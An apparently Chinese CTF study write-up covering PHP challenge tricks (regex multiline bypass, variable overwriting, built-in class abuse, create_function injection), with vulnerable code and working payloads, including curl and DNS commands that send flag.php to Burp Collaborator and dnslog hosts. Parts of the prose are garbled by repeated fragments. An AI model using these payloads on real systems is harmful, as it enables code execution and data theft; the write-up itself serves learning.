介绍

本篇文章主要总结了我在写ctfshow题目中遇到的关于PHP的考点。因为只总结知识点和考点会比较空洞,也不容易理解,所以我都是通过题目来总结考点,这样的话比较容易理解。

PHP特性相关考点

一、

考点:php正则表达式的匹配模式差异。

例题:

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){           #/i表示不区分大小写,/m表示多行匹配if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
}

例题分析:

字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false
/m 多行匹配模式下,若存在换行\n并且有开始^或结束符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if正则匹配会返回true。但是当不是多行匹配模式的时候也就是在第二个if正则匹配中出现换行符‘符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if正则匹配会返回true。但是当不是多行匹配模式的时候也就是在第二个if正则匹配中出现换行符`%0a`的时,符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if正则匹配会返回true。但是当不是多行匹配模式的时候也就是在第二个if正则匹配中出现换行符‘cmd的值会被当做两行处理,因此当我们传入以下payload时,第二个if正则表达式匹配到的是aaaphp,不符合以php开头和以php结尾会返回false,从而echo出flag。

payload如下:

?cmd=aaa%0aphp            #%0a为换行符

【相关技术文档】

二、

考点:php变量覆盖。

例题:

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;
}foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

例题分析:

这里利用的是变量覆盖,关键点在

key=key=

value,这里把$key的值当作了变量。

例如 $key=flag  则$$key=$flag

这里一共有三个变量,error、error、error、suces和flag;这里通过die(flag;这里通过die(flag;这里通过die(error)或者die($suces)都可以输出flag,所以有两个payload。

第一种:
通过die(error)输出flag,首先我们把error)输出flag,首先我们把error)输出flag,首先我们把flag的值传给test,接着再把test,接着再把test,接着再把test的值传给error,于是error,于是error,于是error的值就是flag,再通过if判断die输出就是flag。
例如flag=ctfshowxxxxx,?test=flag,通过第一个for循环,也就是flag=ctfshow{xxxxx},?test=flag,通过第一个for循环,也就是flag=ctfshowxxxxx,?test=flag,通过第一个for循环,也就是test=flag,从而把变量flag的值赋给test变量,因此flag,从而把变量flag的值赋给test变量,因此flag,从而把变量flag的值赋给test变量,因此test=ctfshow{xxxxx},接着再通过第二个for循环,error=error=error=test,此时$error=ctfshow{xxxxx} paylload如下:

?test=flagpost:
error=test

第二种:
通过die(suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,以达到下面if条件为0不执行死亡函数的目的,从而往下执行,die(suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,以达到下面if条件为0不执行死亡函数的目的,从而往下执行,die(suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,以达到下面if条件为0不执行死亡函数的目的,从而往下执行,die(suces)即可把flag输出,payload如下:

?suces=flag&flag=

三、

考点:PHP异常处理的利用,Exception处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类。

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}
}

例题分析:

这里传入两个参数,并且都需要有字母,我们用php内置类让v1不进行报错,v2执行我们的命令就好了。

Exception处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类。

所以payload如下:

?v1=Exception&v2=system('tac fl36dg.txt')

四、

考点一:PHP变量名由数字字母下划线组成,是没有.的 我从大佬的文章了解到,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_。

例题:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}}
}

例题分析:

这道题其中的一个难点是下面这行代码:

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

PHP变量名由数字字母下划线组成,是没有.的 我从大佬的文章了解到,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_。

有一种特殊情况,GET或POST方式传参时,变量名中的 [ 也会被替换为_,但其后的字符就再进行替换了
如 CTF[SHOW.COM => CTF_SHOW.COM 所以payload如下:

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

很明显这个解是非预期的,其实是可以通过正常步骤得到flag的。

出题人的预期解

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

因为上面的代码中的这个代码语句 a=a=a=_SERVER[‘argv’]; 会将url传入的变量存入数组a中,然后我们配合parse_str函数从数组a中取出fl0g=flag_give_me,配合eval函数,从而给fl0g变量赋值,这样就可以绕过if语句,从而echo出flag。

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据

这里进行了本地测试,注意需要在php.ini开启register_argc_argv配置项,测试代码为:

<?php
$a=$_SERVER['argv'];
var_dump($a);

所以如果我们get传入变量赋值语句,接着在post里面来执行这个赋值语句就可以完美绕过。

五、

考点一:利用php内置类FilesystemIterator 获取指定目录下的所有文件名。

考点二:getcwd()函数的作用时返回当前工作目录。

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){die("error v1");}if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");
}
?>

例题分析:

这里正则进行了匹配,我们可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的所有文件的文件名,payload为:

?v1=FilesystemIterator&v2=getcwd

知道flag所在文件的文件名和目录后直接访问即可获得flag。

六、

考点一:PHP中逻辑运算符&&运算符比||运算符优先级高。

考点二:PHP中逻辑运算符&&和||执行的流程。

例题:

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}}
}

例题分析:

分析代码:由于&&运算符比||运算符优先级高,并且我们不知道随机数产生啥,所以$code === mt_rand(1,0x36D)的结果是false,同时我们看到code的值需要为admin,所以我们设置code=admin,又由于与运算(&&)一假则假,所以不再判断 $password === $flag 的部分,然后就变成了:

if(false|| $username ==="admin")

又由于或运算(||)一真则真,所以我们只要把username设置成admin即可,所以payload如下:

?username=admin&code=admin&password=1

补充:

一、PHP中逻辑运算符&&和||的分析:

首先,我给出一段代码:

<?php$test="李四";$test=="张三"&&$test="张三来了";echo $test;  //输出“李四”$test="李四";$test=="张三"||$test="张三不在这里";echo $test;  //输出“张三不在这里”
?>

为什么会产生这样的结果呢?如果按照平常的方法,我们最少要用个IF语句来判断。可现在只是两个逻辑运算就会把变量的值给改变了。下面我们来分析一下它的运行原理。

在参与逻辑运算的两边表达式中,是按照从左到右顺序进行运算的。而“与”运算中只要有一个是假,整个表达式的结果为假。所以,当左边表达式为假时,就无 需再进行运算了。这样的处理无疑对程序的运行效率是大有好处的。所以说正如题目所说,是一种高效的用法。而逻辑或就不同了:只要一个为真那整个表达式就为 真。所以,在左边为假的情况下,还要运行右边的表达式判断。明白或理解了上面所说,也就对结果不感到奇怪了。

最后,我们做以下总结:
对于“与”( && ) 运算: x && yxfalse时,直接跳过,不执行y
对于“或”( || ) 运算 : x||yxtrue时,直接跳过,不执行y

二、PHP运算符优先级一览表:

优先级 结合方向 运算符 附加信息
1 无结合 clone、new clone 和 new
2 从右向左 ** 算术运算符
3 从右向左 ++、–、~、(int)、(float)、(string)、(array)、(object)、(bool)、@ 类型、递增/递减、错误控制
4 无结合 instanceof 类型
5 从右向左 ! 逻辑运算符
6 从左向右 *、/、% 算术运算符
7 从左向右 +、-、. 算术运算符和字符串运算符
8 从左向右 <<、>> 位运算符
9 无结合 <、<=、>、>= 比较运算符
10 无结合 、!=、=、!==、<>、<=> 比较运算符
11 从左向右 & 位运算符和引用
12 从左向右 ^ 位运算符
13 从左向右
14 从左向右 && 逻辑运算符
15 从左向右
16 从右向左 ?? null 合并运算符
17 从左向右 ? : 三元运算符
18 从右向左 =、+=、-=、*=、**=、/=、.=、%=、&=、 =、^=、<<=、>>=
19 从左向右 and 逻辑运算符
20 从左向右 xor 逻辑运算符
21 从左向右 or 逻辑运算符

对具有相同优先级的运算符来说,从左向右的结合方向意味着将从左向右求值,从右向左结合方向则反之。对于无结合方向的则具有相同优先级的运算符,该运算符有可能无法与其自身结合。

七、

考点一:命令执行的骚操作:curl -F命令的使用。

考点二:Burp Collaborator 的使用和带外攻击的概念与流程。

例题:

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}

例题分析:

这个题主要是考察,命令执行的骚操作和curl -F的使用,分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。那如果我们传递的参数就是$F本身,会不会发生变量覆盖?

那我们来一个简单的测试。

我们传递?F=`$F`;+sleep 3   发现网站确实sleep了一会,说明的确执行了sleep命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3    所以最后执行的代码应该是
``$F`;+sleep 3`,所以就可以成功执行sleep函数
这里可能有点绕,可以慢慢理解下。

然后就是利用curl去带出flag.php

# payload:
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
# payload中的url地址是我们从Collaborator Client上获取到的,点击copy to clipboard即可获得?F=`$F`;+curl -X POST -F xx=@flag.php  http://qa42kvxuxk5mxr5twr0d84hgf7lx9m.burpcollaborator.net

我们在目标页面输入payload并发送后,然后点击Poll now即可看到Burp的 Collaborator服务器与目标服务器的通信数据包,从而我们可以看到flag。

另外我们还可以利用dns带外来获取flag:

payload:?F = `$F`; curl `cat flag.php|grep "flag"`.hxmwnm.dnslog.cn

补充:

**Burp Collaborator 的使用和带外攻击的概念与流程总。结:**https://blog.csdn.net/fageweiketang/article/details/89073662

八、

考点一:使用create_function()代码注入

考点二:php里的默认命名空间相关知识

例题:

<?php
highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}
}

这道题对ctf变量进行了一个正则表达式过滤,post传参的ctf和get传参的show进行了组合,这里我们可以使用create_function()进行代码注入

string create_function ( string args , string args , string code )

string $args 变量部分
string $code 方法代码部分

#本地测试代码
create_function('$test','echo $test."very cool"')
//等于
function f($test){echo $test."very cool";
} /*利用如下
如果我们第二个参数输入的是'echo 111;}phpinfo();//'
即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句
也就是下面这个结构
*/
function f($dotast){echo 111;
}
phpinfo();//}

而正则表达式我们可以用进行绕过,正好在php里代表默认命名空间。

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法

最终payload为

?show=echo 123;}system("tac flag.php");//post:
ctf=\create_function

CTF中PHP相关题目考点总结(二)相关推荐

  1. CTF中php相关考点

    以前在做CTF题的时候总是会遇到一些用php的trick才能过的题,知识点还是很杂的,主要是php这种动态弱类型语言实在是太灵活,各种奇葩写法也多,把之前的知识总结下. 学长的博客有对php黑魔法进行 ...

  2. [CTF密码学]RSA相关题目解题方法与python脚本总结(附例题)

    目录 RSA算法概述 思路一.分解n得到p,q 例题:BUUCTF:[WUSTCTF2020]babyrsa 思路二.低加密指数攻击(e很小) 例题:BUUCTF DangrousRSA 思路三.低指 ...

  3. 面试题目_总结面试中 promise 相关题目的套路

    Promise 作为当下主流的异步解决方案,在工作中和面试中常常出现,尤其是在面试中,会弄个场景让你手写代码,这里给大家介绍五道比较有代表性的题目,以便熟悉一些套路. promise 简单介绍 先简单 ...

  4. CTF中的LFSR考点(一)

    CTF中的LFSR考点(一) 前提概要: 这是我在理解了作者:道路结冰的博客深入分析CTF中的LFSR类题目(一)下写的一次回顾和分析,只是在其中加上自己的见识和理解来加深印象. 博客地址:https ...

  5. python 字节流分段_一文掌握CTF中Python全部考点

    声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 前 言 一次偶然的机会,让自己 ...

  6. CTF 中RSA的常见解析

    0x01 前言 这里就不讨论数论的基础了,进行RSA的题目解答,至少要懂得基本的数论知识的,如果不了解数论的基本知识的话,网上相关内容还是挺多的. RSA基于一个简单的数论事实,两个大素数相乘十分容易 ...

  7. CTF中智能合约部署交互基础

    0x01 前言 Solidity在以太坊中是编写智能合约最受欢迎的语言,一般的CTF竞赛中的智能合约方向的题目都是以solidity语言编写的智能合约. 为什么写这一篇文章,主要是因为在接触智能合约类 ...

  8. php代码审计ctf隐藏了目录,CTF中PHP代码审计小tips-7

    阅读次数 MiniProject_PHP_Code_audit-7 Writeup 整体逻辑: xctf中的一道题目 考点: 接收参数中不能出现某一字符,file_get_contents()使用可以 ...

  9. python判断素数的方法简书_深入浅出RSA在CTF中的攻击套路

    0x01 前言 本文对RSA中常用的模逆运算.欧几里得.拓展欧几里得.中国剩余定理等算法不展开作详细介绍,仅对遇到的CTF题的攻击方式,以及使用到的这些算法的python实现进行介绍.目的是让大家能轻 ...

最新文章

  1. php extension loaded,php中extension_loaded()函数的使用详解
  2. k8s mysql operator_将 MySQL 通过 presslabs/mysql-operator 部署到 k8s 内部
  3. Asp.net单点登录解决方案
  4. mix2s android p内测,历时一个月,MIX2S成小米首款Android P公测机型
  5. Eclipse运行Applet没有显示图片,getCodeBase,getDocumentBase
  6. Linux的实际操作:文件目录类的实用指令(帮助指令 man help)
  7. 【Android游戏开发之一】设置全屏以及绘画简单的图形
  8. kotlin 循环_Kotlin控制流–否则,用于循环,同时,范围
  9. 如何在Pages for Mac中添加页眉、页脚和页码?
  10. edius裁剪快捷键_Edius剪辑视频的两种方法
  11. vs2017 错误:当前页面的脚本发生错误
  12. pythonfor反向循环_python如何实现反向迭代
  13. HP34401a实现高精度温度测量
  14. i5 1230u怎么样 i51230u相当于什么水平级别
  15. Datawhale 202210 Excel | 第九、十章 Excel数据可视化
  16. opencv报错file too short
  17. JAVA的安装与卸载
  18. 吴恩达 - 第五周 - 笔记
  19. Mac 中 MySQL 的安装与卸载
  20. css实现仿element ui配色的小圆圈状态标记

热门文章

  1. DL之VGG16:基于VGG16迁移技术实现猫狗分类识别(图片数据量调整→保存h5模型)
  2. Hadoop集群扩展子节点
  3. 机器学习-过拟合和欠拟合以及正则化处理
  4. 035 函数和代码复用小结
  5. 一个5位数,判断它是不是回文数。即12321是回文数,个位与万位相同,十位与千位相同。...
  6. Python第00次作业
  7. 我的学习之路_第十八章_SQL语句
  8. 无向图的完美消除序列 判断弦图 ZOJ 1015 Fish net
  9. Android性能优化之一:ViewStub
  10. Web API 简单示例